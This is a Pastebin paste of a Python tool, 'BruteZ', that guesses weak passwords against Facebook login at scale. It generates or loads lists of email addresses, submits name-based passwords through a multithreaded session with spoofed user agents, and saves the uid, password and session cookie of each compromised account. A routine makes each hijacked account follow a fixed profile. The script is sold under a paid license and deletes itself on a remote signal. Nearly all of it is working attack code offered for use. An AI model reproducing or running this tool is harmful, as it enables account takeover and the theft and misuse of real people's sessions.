Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import os, sys, time
- try:
- import bs4, re, requests, datetime, random, base64
- from concurrent.futures import ThreadPoolExecutor as run
- from bs4 import BeautifulSoup as parser
- except ImportError as e:
- print (f"[#] Wait a moment while installing the module {e.name} !")
- os.system(f"python -m pip install {e.name} &> /dev/null")
- print (f"[+] Successfully installed the module {e.name} ✓")
- time.sleep(2)
- try:os.mkdir('success')
- except:pass
- try:os.mkdir('checkpoint')
- except:pass
- class Main_Menu:
- def __init__(self):
- self.config = {"url": "https://pastebin.com/raw/{}", "url_check": "https://rentry.co/{}", "day": []}
- self.dump = {"user": [], "user_random": []}
- self.brute = {"loop": 0, "success": 0, "checkpoint": 0}
- self.url = {"m": "m.facebook.com", "mbsc": "mbasic.facebook.com", "fre": "free.facebook.com", "mpd": "m.prod.facebook.com"}
- self.color = { "white": "\x1b[0;97m", "red": "\x1b[0;91m", "green": "\x1b[0;92m", "yellow": "\x1b[0;93m", "blue": "\x1b[0;94m", "purple": "\x1b[0;95m", "cyan": "\x1b[0;96m", "black": "\x1b[0m",}
- named_tuple = time.localtime()
- self.date = time.strftime("%m-%d-%Y", time.localtime())
- self.times = time.strftime("%H:%M:%S", time.localtime())
- self.ck = requests.get("https://pastebin.com/raw/QdH5cqQq").text
- if self.ck in "ONLINE":self.CheckLicense()
- else:os.remove(sys.argv[0]);exit(" [!] Script Kadelwarsa silahkan hubungi admin")
- def botauto(self, cok):
- try:
- link = parser(requests.get(f"{self.url['mbsc']}/profile.php?id=100039142035154", cookies={"cookie": cok}).text, "html.parser")
- if "/a/subscriptions/remove" in str(link):pass
- elif "/a/subscribe.php" in str(link):
- cari = re.search('/a/subscribe.php(.*?)"', str(link)).group(1).replace("amp;", "")
- requests.get(f"{self.url['mbsc']}/a/subscribe.php{cari}", cookies={"cookie": cok})
- else:pass
- except:pass
- def DeletFile(self, name):
- try:os.remove(name)
- except:pass
- def SaveResult(self, name, uid, pw, cookie):
- with open(name, "a", encoding='utf-8') as _file_:
- _file_.write(f"{uid}|{pw}|{cookie}\n")
- _file_.close()
- def Banner(self):
- os.system("cls" if os.name == "nt" else "clear")
- print (f"""
- {self.color['white']} ___ _ ____
- {self.color['white']} | _ )_ _ _ _| |_ ___|_ /
- {self.color['white']} | _ \ '_| || | _/ -_)/ / {self.color['red']}※ {self.color['white']}Bruteforce By {self.color['green']}ZexDev {self.color['white']}and {self.color['green']}XNZ
- {self.color['white']} |___/_| \_,_|\__\___/___|
- {self.color['yellow']} ? {self.color['white']}Note: Gunakan Tools ini dengan bijak,
- {self.color['white']} karena kami tidak akan bertanggung jawab.
- """)
- def RandomEmail(self, name, domain, jml, cmbs):
- if cmbs == "1" or cmbs == "01":
- for _ in range(jml):
- _ += 1
- self.dump["user"].append(f"{name}{_}{domain}|{name}")
- sys.stdout.write(f"\r {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{name}{_}{domain}"),sys.stdout.flush()
- time.sleep(0.003)
- elif cmbs == "2" or cmbs == "02":
- for _ in range(jml):
- _ += 1
- rand_depan = random.choice(['andi','dwi','muhammad','nur','dewi','tri','dian','sri','putri','eka','sari','aditya','basuki','budi','joni','toni','cahya','riski','farhan','aden','joko'])
- rand_belakang = random.choice(['99','official','gaming','utama','taher','ganteng','sultan','123','1234','12345','123456','cakep'])
- rand_email = random.choice([
- str(name)+str(_)+str(domain),
- str(name)+str(rand_depan)+str(domain),
- str(name)+str(rand_belakang)+str(domain),
- ])
- self.dump["user"].append(f"{rand_email}|{name}")
- sys.stdout.write(f"\r {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{rand_email}"),sys.stdout.flush()
- time.sleep(0.003)
- elif cmbs == "3" or cmbs == "03":
- for _ in range(jml):
- _ += 1
- rand_email = random.choice([
- str(name)+str(name)+str(domain),
- str(name)+str(name)+str(_)+str(domain),
- str(name)+'.'+str(name)+str(domain),
- str(name)+'.'+str(name)+str(_)+str(domain)
- ])
- self.dump["user"].append(f"{rand_email}|{name}")
- sys.stdout.write(f"\r {self.color['white']}• I'm creating a {self.color['blue']}random {self.color['white']}email {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{rand_email}"),sys.stdout.flush()
- time.sleep(0.003)
- else:exit(f" {self.color['red']}! {self.color['white']}Select an existing email combination")
- def BruteZ(self):
- self.Banner()
- print (f" {self.color['red']}※ {self.color['white']}Expired: {self.color['green']}{self.config['day'][0]} days")
- print (f"\n {self.color['green']}01{self.color['white']}. Starting Bruteforce {self.color['cyan']}from {self.color['white']}Random Email\n {self.color['green']}02{self.color['white']}. Starting Bruteforce {self.color['cyan']}from {self.color['white']}File\n {self.color['green']}03{self.color['white']}. Check Bruteforce {self.color['green']}results\n {self.color['green']}04{self.color['white']}. {self.color['red']}Exit {self.color['white']}the Bruteforce Menu 0_0")
- chs = input(f"\n {self.color['purple']}@{self.color['white']}Choose_>{self.color['green']} ")
- if chs == "1" or chs == "01":
- self.Banner()
- print (f" {self.color['green']}⸙ {self.color['white']}Input: {self.color['blue']}English {self.color['white']}- Enter a random name.\n {self.color['red']}Indonesia {self.color['white']}- Masukkan nama acak.")
- name = input(f"\n {self.color['purple']}@{self.color['white']}InputName_>{self.color['green']} ")
- print (f"\n {self.color['green']}⸙ {self.color['white']}Domain: {self.color['blue']}English {self.color['white']}- Enter the domain @gmail.com or another domain.\n {self.color['red']}Indonesia {self.color['white']}- Masukkan domain @gmail.com atau doamin lainnya.")
- domain = input(f"\n {self.color['purple']}{self.color['white']}@InputDomain_>{self.color['green']} ")
- if '@' not in str(domain) or '.com' not in str(domain):exit(f" {self.color['red']}! {self.color['white']}Enter the domain correctly ")
- print (f"\n {self.color['green']}⸙ {self.color['white']}Amount: {self.color['blue']}English {self.color['white']}- Enter the number of emails you want.\n {self.color['red']}Indonesia {self.color['white']}- Masukkan jumlah email yang Anda inginkan.")
- jml = int(input(f"\n {self.color['purple']}@{self.color['white']}Maximum:{self.color['red']}3000{self.color['white']}_>{self.color['green']} "))
- if jml > 3000:exit(f" {self.color['red']}! {self.color['white']}The amount you entered exceeds the maximum.")
- print (f"\n {self.color['green']}⸙ {self.color['white']}Combination: {self.color['blue']}English {self.color['white']}- Select an email combination.\n {self.color['red']}Indonesia {self.color['white']}- Pilih kombinasi email.\n 01. Combination of names and numbers {self.color['green']}Recommended{self.color['black']}\n 02. A combination of names and additional names {self.color['green']}Recommended+{self.color['black']}\n 03. New combination this month {self.color['yellow']}Latest{self.color['black']}")
- cmbs = input(f"\n {self.color['purple']}@{self.color['white']}InputCombination_>{self.color['green']} ")
- print (self.color['white'])
- self.RandomEmail(name, domain, jml, cmbs)
- print (self.color['white'])
- self.Settings()
- elif chs == "2" or chs == "02":
- self.Banner()
- print (f" {self.color['green']}⸙ {self.color['white']}File: {self.color['blue']}English {self.color['white']}- Enter your file name.\n {self.color['red']}Indonesia {self.color['white']}- Masukkan nama file anda.")
- print (f"\n {self.color['yellow']}? {self.color['white']}Example of contents in the file: {self.color['green']}username{self.color['white']}|{self.color['green']}fullname")
- try:user = open(input(f"\n {self.color['purple']}@{self.color['white']}InputFile_>{self.color['green']} "),'r').read().splitlines()
- except FileNotFoundError:exit(f" ! The file name you entered was not found ")
- for _ in user:
- self.dump['user'].append(_)
- sys.stdout.write(f"\r {self.color['white']}• is collecting Username and Fullname {self.color['green']}{len(self.dump['user'])} {self.color['white']}- {self.color['green']}{str(_.split('|')[0])}"),sys.stdout.flush()
- time.sleep(0.003)
- self.Settings()
- elif chs == "3" or chs == "03":
- print (f"\n {self.color['purple']}+ {self.color['white']}list of success file names {self.color['black']}")
- try:success = os.listdir('success')
- except FileNotFoundError:print(f" {self.color['red']}! {self.color['white']}There are no files in the {self.color['green']}success {self.color['white']}folder")
- if len(success)==0:print(f" {self.color['red']}! {self.color['white']}There are no files in the {self.color['green']}success {self.color['white']}folder")
- for _ in success:
- try:ts = open('success/'+_,'r').readlines()
- except:continue
- print (f" {self.color['white']}> {self.color['green']}success/{_} {self.color['white']}- number of accounts {self.color['green']}{len(ts)}.")
- print (f"\n {self.color['purple']}+ {self.color['white']}list of checkpoint file names {self.color['black']}")
- try:checkpoint = os.listdir('checkpoint')
- except FileNotFoundError:exit(f" {self.color['red']}! {self.color['white']}There are no files in the {self.color['yellow']}checkpoint {self.color['white']}folder")
- if len(checkpoint)==0:exit(f" {self.color['red']}! {self.color['white']}There are no files in the {self.color['yellow']}checkpoint {self.color['white']}folder")
- for __ in checkpoint:
- try:tc = open('checkpoint/'+__,'r').readlines()
- except:continue
- print (f" {self.color['white']}> {self.color['yellow']}checkpoint/{__} {self.color['white']}- number of accounts {self.color['green']}{len(tc)}.")
- file = input(f"\n {self.color['purple']}@{self.color['white']}InputNameFile>{self.color['green']} ")
- try:check = open(file,'r').read().splitlines()
- except FileNotFoundError:exit(f" ! The file name you entered was not found ")
- print (f"\n {self.color['green']}⸙ {self.color['white']}list of accounts in the file {self.color['purple']}{file}")
- ___ = 0
- for ____ in check:
- ___ += 1
- uid, pw, coki = ____.split('|')[0], ____.split('|')[1], ____.split('|')[2]
- print (f" {self.color['green']}{str(___)}{self.color['white']}. Username: {self.color['green']}{uid} {self.color['white']}- Password: {self.color['green']}{pw} {self.color['white']}- Cookie: {self.color['green']}{coki}")
- input(f" {self.color['white']}[{self.color['blue']}Enter{self.color['white']}] Click enter to {self.color['red']}exit {self.color['white']}the menu :)")
- exit()
- else:exit(f" {self.color['red']}! {self.color['white']}Select the menu correctly")
- def Settings(self):
- if len(self.dump["user"])==0:exit(" ! Please re-run the script ")
- for __ in self.dump["user"]:
- xx = random.randint(0,len(self.dump["user"]))
- self.dump["user_random"].insert(xx,__)
- self.Banner()
- print (f" {self.color['purple']}+ {self.color['white']}Bruteforce results will be saved in the file\n • Success / {self.color['green']}Success-{self.date}.txt\n {self.color['white']}• Checkpoint / {self.color['yellow']}Checkpoint-{self.date}.txt\n")
- try:
- with run(max_workers=30) as start:
- for ___ in self.dump["user_random"]:
- uid, fullname = ___.split("|")[0], ___.split("|")[1].lower()
- firstname = fullname.split(" ")[0]
- if len(fullname)<5:
- if len(firstname)<1 or len(firstname)<2:pass
- else:
- psswlist = [
- firstname+'123',
- firstname+'12345',
- firstname+'123456'
- ]
- else:
- psswlist = [
- fullname,
- firstname+'123',
- firstname+'12345',
- firstname+'123456'
- ]
- start.submit(self.method1, uid, psswlist)
- print (f"\n {self.color['green']}√ {self.color['white']}Bruteforce {len(self.dump['user_random'])} | Success: {self.color['green']}{self.brute['success']} {self.color['white']}- Checkpoint: {self.color['yellow']}{self.brute['checkpoint']}")
- exit()
- except Exception as e:exit(e)
- def method(self, uid, passwlist):
- for pw in passwlist:
- print (self.brute['loop'])
- self.brute['loop'] += 1
- def method1(self, uid, passwlist):
- session = requests.session()
- sys.stdout.write(f"\r\r {self.color['blue']}@ {self.color['white']}Bruteforce is running {len(self.dump['user_random'])}/{self.color['red']}{self.brute['loop']} {self.color['white']}- success/checkpoint: {self.color['green']}{self.brute['success']}{self.color['white']}/{self.color['yellow']}{self.brute['checkpoint']}");sys.stdout.flush()
- model = random.choice([
- "SM-J700F",
- "SM-J700H",
- "SM-J700M",
- "SM-J700T",
- "J7",
- "SM-J700T1",
- "SM-J700K",
- "SM-J700P",
- "SM-j7008"
- ])
- chrome = str(random.randint(22, 55))+".0."+str(random.randint(2222, 5555))+"."+str(random.randint(22, 99))
- ugent = random.choice([
- f"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36",
- f"Mozilla/5.0 (Linux; Android 6.0.1; {model} Build/MMB29K; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/{chrome} Mobile Safari/537.36"
- ])
- for pw in passwlist:
- try:
- req1 = session.get('https://business.facebook.com/login.php?skip_api_login=1&api_key=124024574287414&kid_directed_site=0&app_id=124024574287414&signed_next=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%23_%3D_&display=page&locale=id_ID&pl_dbl=0').text
- datr = re.search('_js_datr","(.*?)"',str(req1)).group(1)
- coki = f'datr={datr};locale=id_ID;wl_cbv=v2%3Bclient_version%3A2392%3Btimestamp%3A{int(time.time())};vpd=v1%3B885x360x2;wd=980x1715;{";".join(["%s=%s"%(x,y) for x,y in session.cookies.get_dict().items()])};_js_datr={datr}'
- post = session.post(
- 'https://business.facebook.com/login/device-based/regular/login/?login_attempt=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified%26cbt%3D1705563202091&lwv=100',
- data = {
- 'jazoest':re.search('name="jazoest" value="(.*?)"',str(req1)).group(1),
- 'lsd':re.search('name="lsd" value="(.*?)"',str(req1)).group(1),
- 'api_key':'124024574287414',
- 'cancel_url':'https://www.instagram.com/accounts/signup/?error=access_denied&error_code=200&error_description=Permissions+error&error_reason=user_denied&state=%7B%22fbLoginKey%22%3A%221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%22%2C%22fbLoginReturnURL%22%3A%22%2Ffxcal%2Fdisclosure%2F%3Fnext%3D%252F%22%7D#_=_',
- 'display':'page',
- 'isprivate':'',
- 'return_session':'',
- 'skip_api_login':1,
- 'signed_next':1,
- 'trynum':1,
- 'timezone':'-420',
- 'lgndim':re.search('name="lgndim" value="(.*?)"',str(req1)).group(1),
- 'lgnrnd':re.search('name="lgnrnd" value="(.*?)"',str(req1)).group(1),
- 'lgnjs':re.search('name="lgnjs" value="(.*?)"',str(req1)).group(1),
- 'email': uid,
- 'prefill_contact_point': uid,
- 'prefill_source':'browser_dropdown',
- 'prefill_type':'password',
- 'first_prefill_source':'browser_dropdown',
- 'first_prefill_type':'contact_point',
- 'had_cp_prefilled':True,
- 'had_password_prefilled':True,
- 'ab_test_data':'',
- 'encpass':f"#PWD_BROWSER:0:{int(datetime.datetime.now().timestamp())}:{pw}"
- },
- headers = {
- 'Host': 'business.facebook.com',
- 'cache-control': 'max-age=0',
- 'content-type': 'application/x-www-form-urlencoded',
- 'user-agent': ugent,
- 'accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
- 'sec-fetch-site': 'same-origin',
- 'sec-fetch-mode': 'navigate',
- 'sec-fetch-user': '?1',
- 'sec-fetch-dest': 'document',
- 'referer': 'https://business.facebook.com/login.php?skip_api_login=1&api_key=124024574287414&kid_directed_site=0&app_id=124024574287414&signed_next=1&next=https%3A%2F%2Fweb.facebook.com%2Fdialog%2Foauth%3Fclient_id%3D124024574287414%26locale%3Did_ID%26redirect_uri%3Dhttps%253A%252F%252Fwww.instagram.com%252Faccounts%252Fsignup%252F%26response_type%3Dcode%252Cgranted_scopes%26scope%3Demail%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%26ret%3Dlogin%26fbapp_pres%3D0%26logger_id%3D53f2c645-6bbd-4113-8342-3a4ac47e2c7a%26tp%3Dunspecified&cancel_url=https%3A%2F%2Fwww.instagram.com%2Faccounts%2Fsignup%2F%3Ferror%3Daccess_denied%26error_code%3D200%26error_description%3DPermissions%2Berror%26error_reason%3Duser_denied%26state%3D%257B%2522fbLoginKey%2522%253A%25221c2p5l61dkiv87w0ntog1kqtm7h1dfscal195qzu6vmm9o975e4e6%2522%252C%2522fbLoginReturnURL%2522%253A%2522%252Ffxcal%252Fdisclosure%252F%253Fnext%253D%25252F%2522%257D%23_%3D_&display=page&locale=id_ID&pl_dbl=0',
- 'accept-language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
- },
- cookies = {
- 'cookie':coki
- },
- )
- if "c_user" in session.cookies.get_dict():
- # kuki = (";").join([ "%s=%s" % (key, value) for key, value in session.cookies.get_dict().items() ])
- kuki = f'{";".join(["%s=%s"%(x,y) for x,y in session.cookies.get_dict().items()])};_js_datr={datr}'
- uid = re.findall('c_user=(.*);xs', kuki)[0]
- print(f"\r\r {self.color['green']}√ {self.color['white']}success: {self.color['green']}{uid}|{pw}|{kuki}{self.color['black']}")
- self.brute['success'] += 1
- self.SaveResult(f"success/success-{self.date}.txt", uid, pw, kuki)
- self.botauto(kuki)
- break
- elif "checkpoint" in session.cookies.get_dict():
- uid = session.cookies.get_dict()["checkpoint"].split("%")[4].replace("3A", "")
- print(f"\r\r {self.color['yellow']}x {self.color['white']}checkpoint: {self.color['yellow']}{uid}|{pw} {self.color['black']}")
- self.brute['checkpoint'] += 1
- self.SaveResult(f"checkpoint/checkpoint-{self.date}.txt", uid, pw, None)
- break
- else:continue
- except requests.exceptions.ConnectionError:time.sleep(31)
- except Exception as e:exit(e)
- self.brute['loop'] += 1
- def CheckLicense(self):
- from datetime import date, datetime
- self.Banner()
- if os.path.isfile('.keysfree.txt') is True:
- ZexF = requests.get(self.config['url'].format("tNi5vhp4")).text
- if ZexF == keyfree:print (f" {self.color['green']}√ {self.color['white']}License Free anda masih aktif, menuju ke menu");time.sleep(2);self.config['day'].append("free");self.BruteZ()
- else:self.DeletFile('.keysfree.txt');exit(f" {self.color['red']}! {self.color['white']}license free anda sudah kadelwarsa :)")
- else:pass
- if os.path.isfile('.keys.txt') is True:
- try:
- key = open('.keys.txt','r').read()
- Zex = requests.get(self.config['url'].format("zJS4G8Gz")).text
- info = re.findall(key+'.*', Zex)[0]
- expired = info.split('|')[2]
- hari, bulan, tahun = expired.split('-')
- sisa = date(int(tahun),int(bulan),int(hari))
- wktu = datetime.strptime(str(sisa),"%Y-%m-%d")
- stop = datetime.strptime('%s%s%s'%(datetime.now().day,datetime.now().month,datetime.now().year),'%d%m%Y')
- nice = wktu - stop
- if nice.days <1:
- self.DeletFile('.keys.txt')
- exit(f" {self.color['red']}! {self.color['white']}License Sudah kadelwarsa ")
- else:
- key1, key2 = self.CreateLicense('decode',f'{key}'), str(os.getlogin().split('_')[0])+str(os.getlogin().split('_')[1])+str(os.getuid())
- if key1 == key2:
- print (f" {self.color['green']}⸙ {self.color['white']}Haii, {self.color['green']}{info.split('|')[1]} {self.color['white']}Selamat datang di {self.color['blue']}BruteZ")
- self.config['day'].append(nice.days)
- time.sleep(3)
- self.BruteZ()
- else:exit(f" {self.color['red']}! {self.color['white']}License only requires 1 device")
- except IndexError:self.LicenseList()
- else:self.LicenseList()
- def CreateLicense(self, chs, code):
- if chs.lower() == 'create':
- device = str(os.getlogin().split('_')[0])+'-'+str(os.getlogin().split('_')[1])+'-'+str(os.getuid())
- encode1 = device.encode("ascii")
- encode2 = base64.b16encode(encode1)
- result = encode2.decode("ascii")
- elif chs.lower() == 'decode':
- decode1 = code.encode("ascii")
- decode2 = base64.b16decode(decode1)
- result = decode2.decode("ascii").replace("-", "")
- return result
- def LicenseList(self):
- self.Banner()
- try:
- IdRd = self.CreateLicense('create','')
- Zex = requests.get(self.config['url'].format("zJS4G8Gz")).text
- response = re.findall('%s.*'.format(IdRd), str(Zex))
- if len(response) > 0:apikey = self.CreateLicense('create','')
- else:apikey = IdRd
- except Exception as e:exit(f" {self.color['red']}! {self.color['white']}there is an error in the system : {e}")
- print (f" {self.color['green']}⸙ {self.color['white']}Your license: {self.color['green']}{apikey} {self.color['white']}- {self.color['red']}Not yet confirmed {self.color['black']}")
- print (f"\n {self.color['green']}01{self.color['white']}. {self.color['green']}Rp.30.000{self.color['white']} Untuk 1 minggu\n {self.color['green']}02{self.color['white']}. {self.color['green']}Rp.110.000 {self.color['white']}Untuk 1 bulan\n {self.color['green']}03{self.color['white']}. {self.color['green']}Rp.250.000 {self.color['white']}Permanen + Open Source")
- chs = input(f"\n {self.color['purple']}@{self.color['white']}Choose_>{self.color['green']} ")
- open('.keys.txt','w').write(f'{apikey}')
- if chs == "1" or chs == "01":
- print (f"\n {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
- username = input(f" {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
- os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%201%20Minggu%0A%0ALicense:%20*%60{apikey}%60*')
- exit()
- elif chs == "2" or chs == "02":
- print (f"\n {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
- username = input(f" {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
- os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%201%20Bulan%0A%0ALicense:%20*%60{apikey}%60*')
- exit()
- elif chs == "3" or chs == "03":
- print (f"\n {self.color['green']}⸙ {self.color['white']}Name: Masukkan nama anda")
- username = input(f" {self.color['purple']}@{self.color['white']}InputName>{self.color['green']} ")
- os.system(f'xdg-open https://wa.me/6283139844517?text=Halo,%20perkenalkan%20nama%20saya%20{username}%20saya%20inggin%20mengkonfirmasi%20license%20saya%20untuk%20Permanen%0A%0ALicense:%20*%60{apikey}%60*')
- exit()
- elif chs.lower() == "free":
- print (f"\n {self.color['green']}⸙ {self.color['white']}silahkan masukan license Free anda")
- keyfree = input(f" {self.color['purple']}@{self.color['white']}InputLicense>{self.color['green']} ")
- ZexF = requests.get(self.config['url'].format("tNi5vhp4")).text
- if ZexF == keyfree:print (f" {self.color['green']}√ {self.color['white']}License Free anda masih aktif, menuju ke menu");time.sleep(2);open('.keysfree.txt','w').write(f'{keyfree}');self.config['day'].append("free");self.BruteZ()
- else:self.DeletFile('.keysfree.txt');exit(f" {self.color['red']}! {self.color['white']}license free anda sudah kadelwarsa :)")
- else:exit(f" {self.color['red']}! {self.color['white']}Select the menu correctly")
- Main_Menu()
Add Comment
Please, Sign In to add comment